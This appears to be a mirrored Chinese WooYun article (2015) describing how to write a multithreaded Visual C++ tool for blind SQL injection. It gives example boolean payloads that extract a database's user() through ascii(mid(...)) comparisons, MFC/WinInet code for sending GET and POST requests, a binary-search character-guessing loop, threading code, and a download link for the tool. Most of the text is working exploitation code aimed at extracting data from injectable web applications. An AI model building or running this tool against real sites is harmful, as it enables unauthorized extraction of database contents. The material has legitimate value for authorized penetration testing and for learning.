VC編寫多執行緒sql盲注工具.doc

wyzsk發表於2020-08-19
作者: netwind · 2015/09/10 14:04

對於白帽子來說,最鍾愛的SQL注入工具莫過於sqlmap。隨著攻防對抗的升級,sql注入漏洞呈明顯下降的趨勢,同時也呈現出難發現、難利用的特點。在實際測試的時候發現,有時明明手工確認的注入,丟進sqlmap確無法識別出來。於是乎就有了各種py指令碼來跑資料。通常找到一個注入在sqlmap識別不出或者無法跑出資料的情況下,到處找合適的指令碼,然後再修改,如果對PY指令碼熟悉,可能也來的快,但是假如對PY指令碼不是很熟悉,每次必然花費大量精力和時間在此上面。因此在常用工具無法識別SQL注入或者無法跑出資料的時候,用VC做一個通用GUI框架,採用半自動、多執行緒併發的方式來進行SQL盲注,就顯得既方便又節約時間。程式介面設計如圖(只為功能,不求美觀):

enter image description here

如果常用的比較強大的注入工具能識別、能跑出資料當然就不需要該工具,也就當其他工具無法識別,我們也能構造出payload證明注入的存在時,這時候我們只需將構造好的payload填入工具的引數裡,讓工具幫我們自動出資料,這是工具的設計初衷。通常sql注入有兩種請求資料方式一種是get ,一種是post。存在注入的引數一般在請求的url中或者postdata資料中,我們將分兩種情況來設計該注入工具。

0x00 GET方式注入


對於此方式,注入引數在URL地址裡,我們需要填好URL和頁面差異字串就可以了。比如我們在測試的時候,找到一個注入點,並且構造好了出資料的注入語句類似如下:

http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>1),"d",1)+"ef/

這裡透過改變mid第二個引數的值可以遍歷猜解user()的每個字元,這樣就有兩個變數了,這是其中一個,這裡命名為AA的取值在於USER的長度比如1-20。另一個就是>後面的數字,命名為BB的取值範圍設為32-126,這個範圍包含了所有可見字元的ASC碼,透過改變該數字B我們就可以得到對應的每個正確的字元。通常情況下我們構造的注入語句如果為真即ascii(mid(user(),1,1))>1成立,那麼返回正常頁面,如果不成立返回其他頁面。我們把正常頁面裡有而異常頁面裡沒有的一個字串作為keyword。比如訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>100),"d",1)+"ef/後返回正常頁面包含keyword,訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>101),"d",1)+"ef/後返回異常頁面沒有keyword,這樣我們就判斷出ascii(mid(user(),1,1))=101

那麼我們設計程式的時候我們把A B 兩個變數用*代替以告訴程式它們是需要改變的,把keyword也提交給程式,告訴它得到keyword的時候就表示訪問的頁面裡的注入語句為真,否則為假。這樣就可以讓程式自動迴圈遍歷所有的其他字元了。由於涉及迴圈裡面介面顯示的問題,所以猜解函式務必要放到執行緒裡面,否則介面會卡死。

為了減少猜解時間,這裡我們採用二分法查詢資料(由於業餘程式設計,程式碼只為實現功能,編碼不好,請諒解),其關鍵程式碼如下:

#!c
left=32; //設定二分法查詢初始值,範圍就是可見字元的ASC碼範圍

right=126;
while((right-left)!=1) 

//二分法查詢,當某次命中目標時,由於是(假如)
//用>判斷,所以值域範圍將左移到左邊中間點,接
//著再慢慢向右移動,由於是二分取整操作,那麼直//到left、 right差為1的時候 判斷會結束,這時right
//就是最終值了。<號時 相反 最終取值left。

{
strcpy(url,ysurl);  //用指標來操作字串,有點臃腫
p1=strstr(url,"*");
*p1='\0';
p1=strstr(ysurl,"*");
p1++;
char buf[3];
itoa(i,buf,10);   //猜解第i位
strcat(url,buf);
strcat(url,p1);  //這部分定位2個*的位置 並處理好URL,
p1=strstr(url,"*");
*p1='\0';
p1=strstr(ysurl,"*");
p1++;
p1=strstr(p1,"*");
p1++;
j=(left+right)/2;
itoa(j,buf,10);
strcat(url,buf);
strcat(url,p1);

wsprintf(bufx,"%c",j);
dresult+=bufx;
thelist->SetItemText(i-1,0,dresult);
//設定列表框顯示
CInternetSession session("HttpClient");  
CHttpFile* pfile = (CHttpFile *)session.OpenURL(url);  //get方式 訪問url
DWORD dwStatusCode;  
pfile -> QueryInfoStatusCode(dwStatusCode);  
if(dwStatusCode == HTTP_STATUS_OK)  
{  

CString data;  
while (pfile -> ReadString(data))  
{  
content  += data + "\r\n";  
}   
content.TrimRight();//獲得請求url後頁面返回內容
//printf(" %s\n " ,(LPCTSTR)content);  
}  
pfile -> Close();  
delete pfile;  
session.Close();
if (large==1)   //如果比較的時候用的是>的情況
{
if(content.Find(keyword)>0) //從返回內容查詢是否有keyword
left=j;
else right=j;
}
Else //比較符為<時的情況
{
if(content.Find(keyword)>0)
right=j;
else left=j;
}
content.Empty();
dresult.Delete(dresult.GetLength()-1,1);

}
if(large==1)
{
rbuf[i-1]=(char)right;      //如果是> right作為迴圈結束後的結果
wsprintf(buf,"%c\r\n",right);

}
Else ////如果是< left作為迴圈結束後的結果
{
rbuf[i-1]=(char)left;               
wsprintf(buf,"%c\r\n",left);

}
dresult+=buf;
dresult+="  ok!";//第i位結果猜解完畢 

接下來我們把這段程式碼放在另外一個迴圈裡for(i=1,i<21,i++) 這樣就可以迴圈遍歷user每一位字元。多執行緒我們放到最後來講。

0x01 POST方式注入


get方式不同的地方,這裡post注入引數在data中,其實放在哪裡都沒關係,主要的是要將資料向對方80埠傳送出去,最後我們要獲取返回內容並根據keyword來判斷條件的真假,最終確定我們想要得到的每個字元。與GET方式不同的是我們需要實現一個函式,來向伺服器post請求資料,完整程式碼如下:

#!c
CString Postdata(char *url,char *data)  //傳遞兩個引數 url 和data
{
LPTSTR AcceptTypes[2] = {TEXT("*/*"), NULL}; //接受檔案的型別
CString strHeaders = _T("Content-Type: application/x-www-form-urlencoded\r\n");
charszReferer[100]  = "http://www.test.com";  
CString szFormData   = data;   //post的”引數“
HINTERNET   hSession;      
HINTERNET   hConnect;      
HINTERNET   hRequest;      
BOOL        bReturn  = FALSE;   
char *p1,*p2;
p1=strstr(url,"//"); //對url處理 獲得伺服器地址 以及訪問目錄
p1+=2;
p2=strstr(p1,"/");
char host[100];
memset(host,0,100);
strncpy(host,p1,p2-p1);
p2++;
char road[100];
memset(road,0,100);
strcpy(road,p2); // 建立HTTP請求
hSession = InternetOpen("AutoVoteVisPostMethod",
    INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);  
hConnect = InternetConnect(hSession,host,
INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,1);       hRequest = HttpOpenRequest(hConnect,"POST",road,
    "HTTP/1.1",szReferer,(LPCSTR *)&AcceptTypes,INTERNET_FLAG_RELOAD,1); // 提交資料
LPVOID pBuf = (LPVOID)szFormData.GetBuffer(szFormData.GetLength());   
bReturn = HttpSendRequest(hRequest,
    strHeaders,-1L,pBuf,szFormData.GetLength());   
char    szRecvBuf[1024];        // 接受資料緩衝區   
DWORD   dwNumberOfBytesRead;    // 伺服器返回大小   
DWORD   dwRecvTotalSize=0;      // 接受資料總大小   
DWORD   dwRecvBuffSize=0;       // 接受資料buf的大小   
CFile   m_File;                 // 將返回資料寫入檔案   
CString strTemp,mystr;                // 臨時訊息框   
memset(szRecvBuf,0,1024);   
 do  
{      
    // 開始讀取資料   
    bReturn = InternetReadFile(hRequest,szRecvBuf,1024,&dwNumberOfBytesRead);           
   szRecvBuf[dwNumberOfBytesRead] = '\0';   
    dwRecvTotalSize += dwNumberOfBytesRead;   
    dwRecvBuffSize  += strlen(szRecvBuf);   
    mystr+=szRecvBuf;
  } while(dwNumberOfBytesRead !=0);   
return mystr;
}

接下來就和GET方式注入大同小異了,主要就是根據返回的內容以及keyword來判斷確定每個字元。關鍵程式碼如下:

#!c
i=SomeParam1->i;
//和GET方式不同,這裡用CString類來對字串操作 看起來要美觀一點
mdata.Delete(index1,1);  //刪除*
itoa(i,buf,10);
mdata.Insert(index1,buf); //插入i
if(i>9)
{
index2+=1;//前面*位置插入了2個字元 後面*的位置要加1了
}
//以後長度就固定了 不用
char buf2[30];
wsprintf(buf2,"猜解第%d位:",i);
dresult+=buf2;
thelist->InsertItem(i-1,dresult,0);
while((right-left)!=1)
{
CString rdata;
mdata.Delete(index2,1);
if(j>10)mdata.Delete(index2,1);   //之前插入2位字元那麼就要多刪一次
if(j>99)mdata.Delete(index2,1);   //三位就再多刪一次
j=(left+right)/2;
itoa(j,buf,10);
mdata.Insert(index2,buf);   //插入j 參與比較的字元的ASC碼
wsprintf(bufx,"%c",j);
dresult+=bufx;
thelist->SetItemText(i-1,0,dresult); //顯示當前參與比較的字元
CString tdata;
tdata=mdata;
rdata=Postdata(url,tdata.GetBuffer(tdata.GetLength()));//傳送post請求
if (large==1)  //這裡和get方式類似
{
    if(rdata.Find(keyword.GetBuffer(keyword.GetLength()))>0)
        left=j;
    else right=j;
}
   dresult.Delete(dresult.GetLength()-1,1); //刪除當前參與比較的字元,即
}  //在原位置顯示下一個參與比較的字元
if(large==1)
{
rbuf[i-1]=(char)right;              
wsprintf(buf,"%c\r\n",right);
}
dresult+=buf; //得到結果
dresult+="  ok!";
thelist->SetItemText(i-1,0,dresult);

0x02 多執行緒併發注入

如果我們把每個字元的猜解都開一個執行緒,那麼將大大提高猜解的時間。由於原本我們顯示是用的文字控制元件,那麼多執行緒的時候是沒辦法完全顯示猜解的過程的。於是必須改用列表控制元件。這樣每個執行緒i對應一個顯示行,這樣就可以完整顯示猜解過程了。但是還有個問題,這個列表控制元件是不可編輯的,也就是最終的結果不能複製下來,這樣是很不方便的。

經過左思右想,我們可以定義一個字元陣列char rbuf[20]rbuf[]陣列初始化為20個空格,每開一個執行緒得到的結果就放到rbuf[i]裡,每一個執行緒結束的時候都進行一次顯示設定:

myresult=rbuf;
kjResult->SetWindowText(myresult);  //顯示到文字控制元件裡

這樣當一個執行緒結束時會顯示一次rbuf陣列的字元,如果猜解出來的就顯示出來,沒猜解出來的顯示的就是空格,當最後一個執行緒結束的時候,rbuf儲存的是所有執行緒的猜解結果,就完全顯示出來了。顯示問題解決後,那麼接著解決多執行緒問題:

首先將我們的postget猜解函式定義成多執行緒函式格式:

static UINT __cdecl MyGetInject(LPVOID lpParam);
static UINT __cdecl MyPostInject(LPVOID lpParam);

由於是static的 那麼我們初始化時自動生成的控制元件變數都是不可以寫進上面的函式里的。所以必須首先定義個結構體,然後把這些變數透過結構體傳遞給執行緒函式,結構體如下:

#!c
struct Param
{
    int i;  //user長度,迴圈次數,也時執行緒數
    CString url;  //請求的url 這些是需要透過控制元件變數傳遞來的
    CString keyword;  
    CString data;
    CEdit *result;  //顯示最後結果的控制元件變數
    CListCtrl *list; //顯示猜解過程的控制元件變數
};

萬事具備之後,我們就可以迴圈開啟執行緒了:

#!c
Param SomeParam;
SomeParam.url=m_url;
SomeParam.keyword=m_key;
SomeParam.result=lresult;
SomeParam.data=m_data;
SomeParam.list=(CListCtrl *)GetDlgItem(IDC_LIST2);
int i=0;
for(i=0;i<21;i++)
{
SomeParam.i=i;
AfxBeginThread(MyPostInject,(LPVOID)&SomeParam);//迴圈開啟猜解執行緒

Sleep(1); //要sleep一下 否則第一條顯示有問題,還沒來得及 後面的執行緒就會吞沒它的

}

到此我們的盲注輔助工具就算完工了。程式猜解過程介面如圖(GET 方式): 所有執行緒都還沒猜解出結果時:

enter image description here

部分執行緒猜解除結果時:

enter image description here

所有執行緒猜解完畢時:

enter image description here

0x03 總結


1、使用的時候請務必提供注入所需要的引數,否則程式會崩潰。使用方法: http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>100),"d",1)+"ef/如果猜解user(),那麼就改成http://a.abc.com/abc"+if((ascii(mid(user(),*,1))>*),"d",1)+"ef/,注入引數裡需要兩個*。也可以將user()換成其他的,比如@@version等。

訪問http://a.abc.com/abcef/ 選擇一個非漢字的字串作為keyword,同時訪問http://a.abc.com/abc"+if((ascii(mid(user(),1,1))>255),"d",1)+"ef/ 檢查下這個頁面沒有keyword,那麼這個keyword才可用。

2、程式限定了開20個執行緒,猜解欄位名的前20個字元。

3、本程式只是在其他強大的注入工具無法識別或者不能出資料的時候,以作檢測證明之用。當然您也可以用py指令碼,可以靈活修改。望此文起拋磚引玉之效!

4、下載地址:http://yunpan.cn/cmYhLZP983U6J(提取碼:3abe

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章